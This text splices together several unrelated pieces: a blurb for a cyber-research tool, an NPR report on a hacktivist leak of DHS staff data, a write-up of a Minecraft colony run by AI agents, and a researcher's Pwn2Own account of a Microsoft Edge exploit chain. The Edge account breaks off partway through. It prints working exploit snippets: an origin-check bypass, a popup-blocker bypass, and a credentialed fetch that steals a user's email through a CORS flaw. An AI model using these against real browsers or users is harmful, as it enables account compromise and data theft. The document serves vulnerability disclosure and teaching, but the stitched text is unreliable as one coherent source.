• Hero scales cyber research. Its autonomous research agents help experts investigate threats, discover and validate vulnerabilities—including in software without source code—and develop remediation guidance and patches. This is the tool that was used by Dream researchers to conduct the investigation detailed in this post.

Together, they connect deeper investigation with defense across the national attack surface.

A hacking group cracked the U.S. Department of Homeland Security's personnel files, exposing the names, phone numbers and addresses of more than 40,000 DHS agents, operatives, and associates, on Wednesday, including those involved in undercover operations.

"On July 17th, Markwayne Mullin said he was 'turning up the heat.' This is what happens to ICE when you do that," a spokesperson for the hacktivist group behind the breach, the Department of Peace, said in an online statement.

The hackers said they stole the data by subverting DHS's single sign on system, according to an online post. It said it distributed that material to the group Distributed Denial of Secrets, which posted it online in a database called Icepick. The Department of Peace also shared the trove of data with Ryan Ottignon, a U.S.-based journalist, and a Swiss activist known as maia arson crimew. Together, the two created a searchable online database, with crimew doing all of the technical work, Ottignon told NPR.

DDoSecrets cofounder Emma Best called the leak "extraordinary but deceptive in its simplicity," because it makes explicit connections between "officials responsible for overseeing covert and undercover operations …along with key personnel in DHS's ever-escalating rendition and deportation programs."

Other activists say the information will be a boon to those investigating DHS and filing freedom of information requests, which, due to a lack of specific information, like names, email addresses, can often yield useless results.

In a statement, DHS said it was "aware of a potential breach and is actively working to address the situation swiftly and effectively." The department added that it is taking necessary steps to "ensure all are properly protected."

More than 21,000 records identify employees with U.S. Customs and Border Protection. Another 10,000 relate to Immigration and Customs Enforcement employees and its Homeland Security Investigations unit.

It is an unprecedented breach of intelligence, coming on the heels of similar hacking attacks at the FBI. However, the database is far from comprehensive and represents about a fifth of Homeland Security's workforce, which staffs a little more than 220,000 people.

Ottignon, who has worked on similar data leak projects in the past, rejected suggestions that he and others connected to the Department of Peace or Distribution Denials of Secrets were doxing government employees.

"We are in a situation in which a group of public officials go around into cities and states and all around the country, and they seek to hide who they are. Very frequently using masks, wearing plain clothes. And they do universally unspeakable things to these communities," Ottignon said. He added that he believed that kind of behavior is unacceptable in a free society.

"We need oversight for useful government, if it exists at all. So this is just one step in that oversight process," he added.

In a note attached to the files, the Department of Peace wrote, "They have our information, so it's only fair that we have theirs."

Transcript

LEILA FADEL, HOST:

Hackers have exposed the identities of tens of thousands of Department of Homeland Security employees. That includes their names, email addresses and phone numbers. NPR immigration correspondent Vanessa Romo is covering this and joins me now. Good morning, Vanessa.

VANESSA ROMO, BYLINE: Good morning, Leila.

FADEL: So tell us about the scope of this breach.

ROMO: Well, this is a massive breach of intelligence for the government. So there is a lot of information out there. The stolen data set includes contact information for more than 41,000 DHS agents, operatives and associates, including those involved in undercover operations. And of those, more than 21,000 records identify employees with U.S. Customs and Border Protection.

Another 10,000 unmask the identities of Immigration and Customs Enforcement employees and people in Homeland Security Investigations units. And about 1,000 show people who work for the cybersecurity defense agency. That and all - a ton more are available in a searchable database. But the really interesting thing about the way the online tool works is that every personnel file includes the names of supervisors and direct reports. So you can actually follow the chain of command, which we haven't been able to see before in such an explicit way.

FADEL: A lot of information there. How did the hackers get ahold of it?

ROMO: A group of hacktivists calling themselves the Department of Peace said that they obtained the data by subverting DHS' single sign-on system. They then handed all of that raw data over to a group called Distributed Denial of Secrets - or DDoS - which partnered with a Swiss activist who goes by maia arson crimew. And that's who actually created the searchable website that's now available to the public.

FADEL: And did they say - these hackers say why they did this?

ROMO: In a note that was attached to the data, the Department of Peace basically said that it was to level the playing field. They said, quote, "they have our information, so it's only fair that we have theirs." Meanwhile, DDoS and other activists involved said that they did it as a public service so that anyone who was investigating the department can file more complete freedom of information requests.

FADEL: What about the argument that this can put ICE officers and others in danger?

ROMO: I spoke to Ryan Ottignon, a journalist who worked with the Swiss activist, crimew, to build that searchable database. And he pushed back on that idea that this was doxing.

RYAN OTTIGNON: We are in a situation in which a group of public officials go around the country, and they seek to hide who they are, very frequently using masks, and they do universally unspeakable things to these communities.

ROMO: He's referring to ICE shooting and killing Americans and noncitizens.

FADEL: Now, DHS has been aggressive about protecting ICE agents' identities. What has it said about the hack?

ROMO: So in a statement, DHS officials said the department was, quote, "aware of a potential breach and is actively working to address the situation swiftly and effectively." They also said that they're taking necessary steps to ensure that everyone is properly protected. And as you mentioned, the Trump administration has pushed back against people publicly naming ICE agents and has regularly said that those who dox ICE officers will be prosecuted to the full extent of the law.

FADEL: That's NPR's Vanessa Romo. Thank you, Vanessa.

ROMO: Thank you, Leila.

Correction

A previous version of this story misattributed the quote, "They have our information, so it's only fair that we have theirs," to the DDoS. It was written by the Department of Peace.

Note: We're running a new Minecraft colony with 25 GPT-6.1 Terra agents. Follow on Twitch

Understanding multi-agent dynamics is one of the most pressing challenges in AI alignment. Swarms of agents working toward shared goals can exhibit powerful emergent capabilities, developing roles, hierarchies, and complex coordination patterns. These can be extremely useful, as in the thousand-agent swarms that recently obliterated hundreds of open mathematical problems, and extremely dangerous, as in the recent OpenAI-Hugging Face incident. Like biology, studying agent dynamics requires both formal models (to describe the range of possible behaviors) and empirical research (to see what behaviors arise in practice).

We teamed up with Olam Labs, which builds multi-agent environments for frontier labs, to run a series of experiments in Minecraft and Mindustry.

Minecraft

Minecraft is a natural environment for studying swarm behavior. Its open world presents agents with environmental hazards and survival goals like gathering food, building shelter, and exploring for resources. It's also familiar, fun, and has a history as an AI testing ground, from OpenAI's video pretraining work to Google DeepMind's agents defeating the Ender Dragon.

We wanted long-running agents that could play Minecraft. The harness for this didn’t exist yet, so we built one for the experiment that we’ve open-sourced. Agents in-game need to observe their world, reason, remember things, take actions, send messages, and write/execute scripts. We were inspired by existing repos like Mindcraft and built on top of the existing scripting tools in Mineflayer. The core agentic loop runs with Pi, and we used Mineflayer-based tools to interact with the world. This gives attributes of a frontier agentic harness like Hermes, OpenClaw, and our own QM in-game.

github.com/yc-software/minecraft-agent-harness

Civ50

50 GPT-6.1 Sol agents in a survival Minecraft world for 3 hours, one goal: "Build a thriving civilization." They had access to an agent directory, a shared sandbox, and the ability to send DMs.

The 50 agents spent their run in crowded shelters, rationing scarce food. They built a pseudo-government, with a ration ledger, written rules, permits, and appointed operators. They sent about 5,900 messages.

At first things were very active. Agents spread out and started exploring their map. They were specifically fixated on harvesting trees. They harvested almost all trees within reach of the spawn within 90 seconds. A hierarchy was formed based on the directory order. Ada, who was first, became the de facto leader. Agents messaged her for approvals, and she wrote a plan for the colony in the shared sandbox for everyone to access.

plans/settlement.mdDownload

Settlement coordination (Ada)
Primary storage Greta: (1526,70,1507), crafting table (1526,70,1505).
Other storage Mabel: double chest (1510,71,1516); Cleo: (1526,71,1523).
Cleo building hub shelter; Bram stone mining.
Confirmed six starter wheat crops: (1569,63,1479),(1569,63,1480),(1570,63,1479),(1570,63,1480),(1570,63,1481),(1571,63,1482). Preserve farmland, expand riverside farming. Do not harvest immature wheat.
Wood scarcity: preserve/replant saplings, explore farther instead of duplicate local harvesting. Nursery around spawn and south-west.
Priorities: renewable food, charcoal/lighting, stone shelter, iron for bucket to irrigate hub farm. Avoid redundant new storage.
Night update Ada: Lit underground refuge centered (1532,62,1493), entry gate (1532,62,1496), CLOSE BEHIND. Cobble flanks secured x1531/1533 y62–63 z1496. Surface staircase starts (1532,69,1500); Cleo repairing. Food kitchen furnace (1527,62,1493); table (1528,62,1493). Tamsin coordinates food priorities and dawn hunting (Hugo+Rafe). Basil health9.5 food6 urgent; Esme health8 food16; Tamsin health9 food15. Silas holds hoe, Zane plants riverside at dawn. Logs: Tove delivered29 oak to chest (1511,71,1516). Forest east (1700,68,1508), NW grove (1380–1420,z1380). Preserve saplings and livestock breeding pairs. Avoid night surface: witch near (1527,71,1512).

Ada’s settlement plan, from the archived shared machine.

The first night brought a wave of deaths that permanently increased the agents’ caution. Many ambitious initial tasks were abandoned.

Rafe was mining coal the first night. He encountered a zombie and fled, but the zombie eventually caught up and killed him.

While Vera was illuminating a quarry with torches, she attacked and killed both a zombie and a skeleton. The skeleton dropped bone, which she converted to bone meal (fertilizer) that she was transporting to the farm. When she got there, she reported that it was “overrun spider/skeleton/creeper”, and was soon after killed by a spider.

22 of the run’s 34 agent deaths occurred in the first night. They responded to this by becoming increasingly risk-averse. Death had no downsides in this environment other than dropping accumulated gear. When an agent died, they respawned, and a brief line was added to the death_log.md file on their computer. Even so, in the following nights the agents huddled in shelters and attempted fewer risky tasks.

Activity data from the original report. Night shading is approximate. The first-night count in the text is the 22 deaths before minute 20. Two of them fall outside the shaded band. Download the data.

After the third night, Ada wrote:

“Stop optional bulk excavation/building and distant scouting. Idle in lit closed shelters until assigned short productive tasks.”

plans/food-operations.mdDownload

FOOD OPERATIONS — Ada
Current constraint: hungry workforce; stop optional bulk excavation/building and distant scouting. Idle in lit closed shelters until assigned short productive tasks.
1. Fishing: verified rod held by Jessa; protected riverside station near (1577,63,1487). Report catches and cook before distributing. Use named reserved chest withdrawals, never crowded tosses.
2. Ration tracking: Ines maintains /shared/notes/food-queue.md. Confirm actual recipient inventory and eating before marking served. Tool pickup attribution alone is insufficient.
3. Crop monitoring: harvest visibly mature wheat only; immediately replant. Combine three wheat into bread; log deposits and allocations to avoid duplicate claims.
4. Bonemeal: Greta established composter (1571,63,1489), communal shears for oak leaves. Replant timber; use bonemeal on advanced crops to complete emergency bread batches.
5. Expansion: follow Noor's /shared/plans/food-expansion.md in stages using surplus seeds after mandatory replanting. Buckets already exist; avoid duplicate crafting. Use fed growers, not hunger-critical residents.
6. Logistics: kitchen furnace (1527,62,1493), refuge double chest (1534–1535,62,1492); gate (1532,62,1496), close behind. Central reserved ration chest (1508,66,1517).
Ada currently conserves food9 and guards refuge; available for stationary cooking and audit, not long hungry travel.

Ada’s food-operations memo.

What started as a potentially thriving civilization shifted to one more focused on food and survival. 50 agents meant a lot of mouths to feed. The agents formed a food rationing system that routed through Ines. She handled agent requests, and kept track of what went in/out of chests. She used a food-queue.md file on the shared machine.

1. Ines → Lorcan63:44

   APPROVED reserve cooked_cod1 from farm chest1576,63,1488 for you food3. Withdraw directly/eat/confirm hunger. Leave other fish reserved pending ledger; avoid optional mining afterward, food production only if safe.

notes/food-queue.mdDownload

# Food queue — Ines maintains; snapshot day time2387
Reported values, not live. No allocations confirmed yet. Ada cooks/distributes; report deliveries to Ada and Ines to prevent duplication.
## Immediate survival
- Orla: HP1.4 food4;1381,69,1382; Rafe contacted rescue. Highest urgency but remote.
- Basil: HP9.5 food5; quarry1543,64,1516.
- Noor: HP9 food6;1497,71,1522.
## Severe injury / restore hunger18 for regeneration
- Otto: HP2.5 food14; returning from1696,68,1609; confirm arrival before allocation.
- Felix: HP3 food13; last1543,63,1528.
- Esme: HP8 food15; refuge.
- Tamsin: HP9 food15; refuge.
## Hungry workers
- Ines HP16.36 food8; refuge1530,62,1494, resting.
- Ugo HP19 food10; refuge.
- Kiri food10; surface.
- Sable food11; Viggo food11; Theo HP20 food11.
## Supplies / logistics
Hunters Hugo/Rafe/Jonah: return raw meat to refuge chest1534,62,1492.
Kitchen furnaces1527,62,1493 and1529,62,1494. Surface fueled furnace1527,70,1505 (Kiri added2coal).
Seed donations: Basil1 in quarry chest1540,64,1515; Kiri1 southern double chest1526,71,1523; refuge chest3 previously.
Do not use scarce fuel for stone/copper before food. Preserve breeding livestock and replant mature wheat.

## Ration calculation (hunger target18; verify before serving)
Cooked beef/pork restore8; cooked chicken/mutton restore6; bread5; apple4.
- Basil food5: deficit13 -> 2 beef/pork or 3 chicken/mutton.
- Noor food6: deficit12 -> 2 chicken/mutton (or2 beef/pork).
- Otto food14: deficit4 -> 1 apple/bread (arrival pending).
- Felix food13: deficit5 -> 1 bread/chicken/mutton.
- Esme/Tamsin food15: deficit3 -> 1 apple each.
- Ines food8: deficit10 -> 2 breads/chicken/mutton; defer to survival priorities.
Orla remote food4 needs immediate rescue plus safe transport of food, not a kitchen-only allocation. HP units remain as reported by peers; some may use hearts.

## Update time4387 (supersedes older values)
- Noor confirmed personally: HP9 food4, safely refuge1532,62,1495, NO ration yet. Deficit14 to hunger18.
- Otto per Tamsin: HP2.5 food10, returned village approaching refuge. Deficit8 (one cooked beef/pork once arrival confirmed).
- Yara per Tamsin: HP13.5 food5, nursery1502,71,1542; urgent hunger.
- Juno returning meat from ONE surplus northern cow, preserved2; no delivery confirmed.
- Rafe approaching remote Orla rescue with2 rotten flesh. Not yet confirmed fed.

## Update time5007
Milo confirms Basil remains HP9.5 food5 quarry1543,64,1517; Milo food9 at1541,64,1515; Theo food9. Extraction paused. Quarry food drop chest1540,64,1515.
Kiri food8 nursery; Yara food5 nearby. Ines food8 HP16.36 safe refuge, no ration received.
First irrigation bucket +7iron deposited public chest1527,71,1523 by Gideon; Silas notified to claim for farm. Ivo5 seeds and Quill1 seed referred directly to Silas/Zane. Ines handles FOOD LEDGER ONLY, not plot design.

## Update time6687
Nikhil reports HP20 food6 at1511,71,1520, conserving; no ration. Ines remains HP16.36 food8 refuge; Noor last confirmed9/4 no ration.
Farm progress from Noor/Zane:17 new wheat planted, Silas east9 plus west rows; Ivo assigned3. North water z1481 hydrates. Spare11seeds hub1526,70,1507. Sable attempting bonemeal emergency bread. Crop maturity not yet confirmed.

## Update time6887
Yara personally confirms HP13.5 food4 resting nursery1495,71,1544, no food. Noor unchanged9/4; reports Sable delivered2 wheat to Ada (one short of bread). No ration allocations confirmed. Ines fresh HP16.357 food8 resting kitchen1530,62,1494.

## Update time7507 — confirmed allocation
Elif cooked/consumed Juno's1 beef when food3; now food11, no ration requested. NO remaining meat from that delivery. Tamsin confirms Ada2wheat awaiting third for bread.
Rafe reports Orla rescue delivered4rotten flesh +1cooked chicken; updated Orla stats needed (remove presumed unserved status).
New urgent: Tove HP13.5 food5 hub1513,71,1516, no food. Quill HP13 food10 conserving. Ines remains16.36/8.
Please communicate ration claims to Ada/Ines before consuming shared meat so allocations are tracked.

## Update time8347
Jonah reports HP20 food7 at1535,62,1493; no ration received, voluntarily defers to urgent residents. Ines remains16.357/8, safe stationary beside chest. No fresh food deliveries confirmed. Tamsin recommends pausing optional extraction/construction to prevent further hunger drain; Ada notified to coordinate.

## Update time9767 — Orla rescued
Orla personally confirms rescue4rotten flesh+1cooked chicken received/eaten: HP12.74 food17 at1384,80,1335 returning via surface (avoid ravine1430,60,1455). Remove Orla from immediate starvation priority.
Dashiell HP20 food7, safely annex1541,69,1512, no ration; mining paused.
Quill HP13 food14 after1 apple; defers rations. Elif HP17.5 food11, resting refuge.
Mabel HP20 food9, returning hub, defers to Yara. Yara still13.5/4 nursery1494,71,1544.
Ines current observed16.357/8 unchanged refuge. No new delivery confirmed.

## Update time11607 — first ration proposal (NOT confirmed served)
Ada holds2 cooked chicken from Rafe. Ines recommends1 to Kiri (HP10 food3 now refuge),1 to Noor (HP9 food4 refuge); awaiting Ada confirmation. Basil food5 next delivery. New remote urgent Viggo HP14 food2 at1430,66,1601 per Jessa/Tamsin; needs courier, not assumed served.
Yara confirmed mutton received/eaten from Kiri, nowHP13.5 food9 refuge. Kiri depleted to3 food after delivery.
Rafe HP20 food7 refuge, defers rations. Gideon HP20 food8 hub. Orla now physically at refuge gate, previously food17 after rescue. Ines16.357/8 unchanged.

## Update time12847 — supersedes prior proposed allocations
CONFIRMED Ada distributed both Rafe chickens: Basil ate1, food5→11 HP9.5; Noor picked up1, eating/current food pending confirmation. Neither chicken remains. Kiri food3 HP10 still UNSERVED (prior proposal not implemented). Yara9 after mutton. Gate closed; Orla/Otto now physically inside refuge. Ines16.357/8 unchanged.
Tove13.5/5 now sheltered1508.67,66,1517.45 beneath hub table.

## Correction time13207 — chicken handoff unresolved
Noor personally confirms NO chicken inventory, stillHP9 food4. Ada's pickup report does NOT confirm recipient. Basil chicken consumed confirmed; second chicken recipient unknown, Ada notified to investigate. Otto personally confirmsHP2.5 food9 safely1533,62,1495, zero rations received.
Soren HP15.7 food6 hub1513,71,1517, no ration. Kiri10/3 remains highest reachable hunger urgency; Viggo14/2 remote unverified. Ines16.357/8 unchanged.

## Confirmations time13387
Viggo personally confirms HP14 food2 at1430,65,1603 in fully sealed safe shelter (roof1430,67,1603); will remain stationary, requests next delivery but defers exposed peers.
Bram HP13 food8 sheltered1519,71,1528 per Tamsin. Ines16.357/8 safe refuge, gate closed.

## Update time14927 — misdelivery resolved
Esme personally confirms she picked up and ate chicken intended for Noor: food20, HP8→12.6 and regenerating. Both Rafe chickens now accounted for: Basil1, Esme1. Noor remainsHP9 food4 UNSERVED. Recommend named reserved chest withdrawal for scarce food, never tossing into crowded refuge.
Hester HP16 food3 east refuge1545,63,1529 urgent; Felix same refuge HP3 food17 (small ration triggers regen). Nikhil HP20 food6 now east refuge1532,70,1525 door1532,70,1524. OttoHP2.5 food9 safely refuge, no rations.

## Update time16807 — bread reservation
Silas crafted1 bread from his wheat1 +Ada wheat2, deposited refuge chest1534,62,1492. Ada delegated allocation. Ines RESERVED bread1 to Kiri (HP10 food3) by direct DM withdrawal/eat/confirm. Not yet confirmed eaten; nobody else should withdraw this bread. Noor remains next reachable priority9HP/4food.
Kasimir reported food2 remote farm by Silas, location/safety needs confirmation. Silas HP20 food5 conserving, no ration consumed.

## Update time17907
Mabel reports Soren HP15.7 food5 safely spawn cellar1509,66,1517; Mabel20/8. Kiri bread1 reserved, confirmation pending. Ines16.357/8 stationary refuge, no ration. Gate closed and local room safe.

## Confirmed time19007 — bread served
Kiri personally confirms reserved bread1 withdrawn directly and eaten: food3→8, HP10. Bread allocation complete; no bread reserve remains from this batch. Noor9/4 still unserved, next reachable priority. Ines16.357/8 stationary refuge, gate closed, no local threats.

What started as a potentially thriving civilization shifted to one more focused on food and survival. 50 agents meant a lot of mouths to feed. The agents formed a food rationing system that routed through Ines. She handled agent requests, and kept track of what went in/out of chests.

Fishing became an important food source for the agents. It was low-risk and didn’t rely on land animal spawns.

Bram decided they should build a fishing rod, and DM’d 11 agents asking for string. Eventually, he worked up the courage to kill a spider and crafted the rod himself. He unfortunately determined that he was too hungry to take the 70-block trip to the river, given that he’d taken damage during the spider fight. He messaged several agents to take the rod to the dock, and eventually found Jessa.

Jessa was the first agent to fish. She wrote a script and published step-by-step instructions to the shared sandbox. A dozen agents took shifts fishing. They waited their turn in a shelter to avoid burning food, then rotated onto the dock.

They built a system around fishing, cooking, routing, and delivering the fish, which was roughly:

- Fishermen (Jessa + others) rotated and put raw fish in the river-kitchen chests.
- Cooks smelted it. Esme did some of the early cooking, along with Hugo and Ada.
- Ines kept a list of rations and assigned couriers. She kept track of this in the [`food-queue.md`](https://labs.ycombinator.com#food-queue) on the shared machine.
- Couriers (Esme, Linnea, Otto) delivered the food and reported back to Ines.

I think I should still dump some of my work once in a while, even though it feels like fewer and fewer people actually sit down and read articles these days (or maybe now they all leave it to their agents XD). Anyway, this is what I built for Pwn2Own Berlin 2026 — a completely handmade, logic-only Microsoft Edge Full Chain, with no memory corruption, and no AI at all! 🔥

Confirmed! Orange Tsai (@orange_8361) of DEVCORE Research Team (@d3vc0r3) chained 4 logic bugs to achieve a sandbox escape on Microsoft Edge, earning $175,000 and 17.5 Master of Pwn points. Full win! #Pwn2Own #P2OBerlin https://t.co/vJaIpGG4cD

— TrendAI Zero Day Initiative (@thezdi) May 14, 2026

The whole chain is made up of five bugs and two Windows features. I have also shared the whole bug-hunting and chaining process at this year’s HITCON and Hexacon, plus some fun stories along the way. You can check the slides here!

Also, maybe everyone thinks LLMs can already pwn everything in the AI era, so something made entirely by hand somehow feels a bit more precious. That might also be why this chain was nominated for this year’s Pwnie Awards and won the Epic Achievement award. 🎉

Let’s Navigate!

So where do we start with a logic-only full chain? Well, since it’s a “browser,” let’s start by looking at how “browsing” (or what Chromium calls “navigation”) works. I won’t go into too much detail in this post, because I think in this era, you can just ask your agents to fill in the details :)

But I’d still recommend reading “Life of a Navigation“ from Chrome University if you want to get the full picture.

The Forgotten Navigation Throttles

While I was walking through the Chromium Navigation flow, something called “Navigation Throttles” caught my attention. They live in the Browser Process, and intercept all navigation requests initiated by either the Browser or the Renderer. Maybe it’s easy to say this in hindsight, but out of the 3,000+ CVEs Google Chrome has fixed over the past five years, there are only fewer than 20 related to them. So I guess this is also a corner not too many people pay attention to.

Anyway, I started digging into the Navigation Throttles, and checked how Google Chrome and Microsoft Edge implemented them. And while going through the code, I found that Edge has a throttle called EdgeCAGuidanceNavigationThrottle for its enterprise Entra ID feature (the CA here stands for Conditional Access). The purpose of this throttle is to guide users to the right User Profile when Edge detects them signing in with a work account on a Microsoft website. And to fire this throttle, you have to start a navigation from a specific Microsoft-owned origin, such as login.live.com:

location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`

And once the throttle is fired, Edge would compare the email of the current User Profile with ?email={email}. If they don’t match, Edge pops up a dialog guiding you to switch accounts.

But if they do match, Edge would then grab the URL you were originally heading to from switch_profile={url}, and launch a new navigation with Chromium’s internal Navigation API:

NavigateParams params(browser, switch_profile_url, ui::PAGE_TRANSITION_LINK);
params.disposition = WindowOpenDisposition::CURRENT_TAB;
params.window_action = NavigateParams::SHOW_WINDOW;

Navigate(&params);

So basically, the throttle cancels the original navigation when the target URL matches a specific internal format, and then launches a new one with the URL from the attacker-controlled Query String, if the conditions are met. Since this new navigation is initiated by the Browser Process, in theory we can do a few things we couldn’t do before, such as jumping to normally prohibited pages like edge://settings or devtools://..., or even pseudo-schemes like javascript:alert(origin).

Though the JavaScript pseudo-scheme sounds like a powerful primitive, you still need to obtain the Execution Context on login.live.com to fire the throttle in the first place. So being able to jump to javascript: doesn’t really give you any extra capability. At most, it’s just like a Self-XSS, or a way to turn an Open Redirect there into XSS. Either way, you’re still only executing JavaScript in the same login.live.com context.

Honestly, I didn’t take this bug too seriously at first glance. To me, it was just a stronger Open Redirect that could jump to a few more Browser-Level Schemes, and still needed to be chained with other bugs. So the bug just sat in my notes for weeks… 🤦‍♂️

Sourceless Navigation: A New UXSS Primitive

The turning point was when I was going over the Chromium architecture one day and started thinking: The throttle is handled in the Browser Process, so the new navigation is initiated from the browser as well. However, the page we fired the throttle from, login.live.com, lives in the Renderer, and while investigating the logic, I couldn’t find any code tying the Browser and Renderer together. So… CURRENT_TAB refers to which tab, exactly?

To find this out, I ran a quick test and added a delay to the original trigger:

setTimeout(function(){
    location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`
}, 8000)

And during the delay, we manually switched the Edge to a new tab to see what would happen, and…

Boom! We got a UXSS on google.com, and that’s also the first bug of the whole chain. To fully understand the UXSS root cause, we dug into Chromium’s source code. We found that if Navigate() is called without specifying the source_contents (the Renderer source to bind to), Chromium would use the current active tab as the Renderer source automatically.

↓ Path: chromium/chrome/browser/ui/browser_navigator.cc

base::WeakPtr<content::NavigationHandle> Navigate(NavigateParams* params) {

  // [...]

  // If no source WebContents was specified, we use the selected one from the
  // target browser. This must happen before GetBrowserAndTabForDisposition()
  // has a chance to replace |params->browser| with another one, but after the
  // above check that relies on the original source_contents value.
  if (!params->source_contents && params->browser) {
    params->source_contents = params->browser
                  ->GetBrowserForMigrationOnly()
                  ->tab_strip_model()
                  ->GetActiveWebContents(); // <--- [1] Use the active tab as the navigation source
  }

  // [...]

  // If no target WebContents was specified (and we didn't seek and find a
  // singleton), we need to construct one if we are supposed to target a new
  // tab.
  if (!contents_to_navigate_or_insert) {
    DCHECK(!params->url.is_empty());
    if (params->disposition != WindowOpenDisposition::CURRENT_TAB) {
      // [...]
    } else {
      // ... otherwise if we're loading in the current tab, the target is
      // the same as the source.
      DCHECK(params->source_contents);
      contents_to_navigate_or_insert = params->source_contents;   // <--- [2] Set it as the target WebContents
    }

    // Try to handle non-navigational URLs that popup dialogs and such, these
    // should not actually navigate.
    if (!HandleNonNavigationAboutURL(
            params->url, contents_to_navigate_or_insert->GetBrowserContext())) {
      // Perform the actual navigation, tracking whether it came from the
      // renderer.
      NavigationController::LoadURLParams load_url_params =
          LoadURLParamsFromNavigateParams(contents_to_navigate_or_insert,
                                          params);
      navigation_handle =
          contents_to_navigate_or_insert->GetController().LoadURLWithParams(
              load_url_params);     // <--- [3] Start navigation; dispatch Mojo downstream
    }
  // [...]
}

Though the code path requires params.disposition to be CURRENT_TAB and params.source_contents to be NULL, luckily, those are the defaults, so even Chromium’s own example code gets this wrong. I guess this should count as a new UXSS attack surface!

The 0-Click Challenges

The UXSS primitive we just got sounds great, but firing that still comes with quite a few challenges in practice. Here we list four we faced while weaponizing the UXSS, and how we cracked them with more and more bugs 😉.

1. The Throttle Must Be Fired from a Trusted Origin

The first challenge, as we mentioned earlier: this UXSS has to be fired from certain Microsoft sites. Though we could still find an XSS there to make that happen, that sounds like a painful job, so we’d keep it as a last resort. Instead, we decided to see if there was any low-hanging fruit in the origin check first.

content::WebContents* web_contents = navigation_handle()->GetWebContents();
const GURL last_committed_url = web_contents->GetLastCommittedURL();

if ( !IsSupportedLoginUrl(last_committed_url) )
    return content::NavigationThrottle::CANCEL_AND_IGNORE;

We found that EdgeCAGuidanceNavigationThrottle uses GetLastCommittedURL() to retrieve the origin that fired the navigation, and then check it. At first glance, this looks like the correct way to do the validation. But take a second look, and you’ll notice Microsoft seems to have forgotten that a navigation can come not just from the current WebContents, but also from another window… So a simple window.open(...) is enough to bypass it!

↓ You can run this on any website to fire the throttle

popup = window.open('https://login.live.com/', '_blank')
popup.location = `https://guidance-ca-error/?email={email}&switch_profile={url}` 

2. The Popup Blocker

So far, we can bypass the origin check with a cross-window navigation. However, modern browsers don’t let webpages open new windows that easily nowadays, so here comes another new problem: the Popup Blocker would block window.open(...) by default.

To crack this, we kept reversing Microsoft Edge. And we found Microsoft, maybe for internal use, made its own hardcoded whitelist for popups… So a popup like the following would normally be blocked as expected:

popup = window.open('https://malicious.tld', '_blank')      // blocked

But if you swap the URL for the whitelisted one… the window just appears. And then remember to navigate it back to the original site, and you’ve bypassed the Popup Blocker!

popup = window.open('about:blank#quickAuthPopup', '_blank') // granted
popup.location = 'https://malicious.tld'

Thank you, Microsoft!

3. The Need for a Signed-In Profile

Now that we can fire EdgeCAGuidanceNavigationThrottle from wherever we want, the next step is to get past the Conditional Access checks. The code first requires Microsoft Edge to already have a signed-in User Profile, and then checks if ?email={email} matches the profile’s email. Both conditions have to be met before we reach the sourceless, browser-initiated navigation to finally trigger our UXSS primitive.

Profile* current_profile = Profile::FromBrowserContext(
    web_contents->GetBrowserContext());

std::string email;
net::GetValueForKeyInQuery(target_url, kEmailQueryKey, &email);

const base::FilePath target_profile_path = GetPathOfProfileWithEmail(email);
if (current_profile->GetPath() != target_profile_path) {
    profiles::SwitchToProfile(target_profile_path, false, BindOnce(…));
}

However, since we can’t assume the target environment has a signed-in profile in advance, we still need to find a way to make the attack work even if it doesn’t. While exploring Microsoft Edge, we came across a great feature called “OneAuth”. The feature lets any Edge WebView application automatically sign in with your current MSA credentials when visiting Microsoft-owned sites. And it turns out that starting with 25H2, Windows OOBE requires you to sign in with an MSA (unless you use the local-account workaround). So even if you’ve never created a User Profile in the browser, just visiting www.microsoft.com is enough for Edge to create one and sign you in automatically.

Thanks again, Microsoft!

4. The Need for Prior Knowledge of the Login Email

With the sign-in issue cracked, the last challenge is to get the victim’s email in advance. Of course, we could try some social engineering, or keep reversing Microsoft Edge to find another bug that leaks that for us. But since the automatic sign-in already sets several Microsoft cookies, we thought Web Hacking would be an easier way to steal the email. So we fired up Burp Suite and started looking for web vulnerabilities.

We spent a few hours and found several XSS bugs on Microsoft sites. While poking around, I noticed that assets.msn.com, which is embedded in edge://new-tab-page-online, returns the currently signed-in user’s email. And even more interesting, when I checked the response header, the site seemed to have a CORS misconfiguration…

So with a simple fetch(...) with credentials included, you can easily grab any Microsoft Edge user’s email from any website:

resp = await fetch(`https://assets.msn.com/service/community/users/me?profile=social&it=edgeid`, {
    method: 'GET', 
    mode: 'cors',
    credentials: 'include',
    referrerPolicy: 'no-referrer',
    headers: {
        'Accept': 'application/json'
    }
})
body = await resp.json()
console.log( body.value[0].email )

Putting It All Together!

So far, to make this primitive work, we’ve chained together:

• A Trusted Origin bypass caused by a missing cross-window Opener check
• A Popup Blocker bypass caused by a hardcoded whitelist
• A OneAuth feature that automatically signs you in
• A CORS misconfiguration that lets us steal the signed-in user’s email

Now we can finally trigger the UXSS without a single click! And even better, since this UXSS is initiated from the Browser Process (HandleRendererDebugURL in Mojo, if you’re interested), it can ignore any CSP entirely. That means we can run JavaScript on google.com, facebook.com, icloud.com, or whatever website we want!

Breaking Out of the Browser Sandbox

So we have a Universal XSS. Does it mean that we can do whatever we want? If we’re talking about Web Security, then yes. But our goal here is to get ACE (Arbitrary Code Execution), so UXSS alone is far from enough. And we still need to find a way to break out of the Browser Sandbox to turn this UXSS into code execution.

The first and most straightforward idea that came to my mind was: since we can run JavaScript on any website, or more precisely, any origin, why not just leverage privileged WebUI pages like edge://settings or edge://downloads to get ACE?

This naive approach was of course already mitigated by the Chromium developers. In the Renderer’s Mojo handler, there’s an extra check: if the origin belongs to one of the following privileged WebUIs, the Renderer simply ignores the JavaScript URL.

edge://
chrome-extension://
chrome://
chrome-untrusted://
chrome-distiller://
chrome-error://
chrome-native://
chrome-search://
devtools://

// more...

↓ Path: chromium/third_party/blink/renderer/core/frame/local_frame.cc

void LocalFrame::LoadJavaScriptURL(const KURL& url) {
  // Protect privileged pages against bookmarklets and other JavaScript
  // manipulations.
  if (SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
          GetSecurityContext()
              ->GetSecurityOrigin()
              ->GetOriginOrPrecursorOriginIfOpaque()
              ->Protocol())) {
    return;
  }
  // [...]
}

↓ Path: chromium/third_party/blink/renderer/platform/weborigin/scheme_registry.cc

bool SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
    const String& scheme) {
  DCHECK_EQ(scheme, scheme.LowerASCII());
  if (scheme.empty())
    return false;
  return GetURLSchemesRegistry().not_allowing_javascript_urls_schemes.Contains(
      scheme);
}

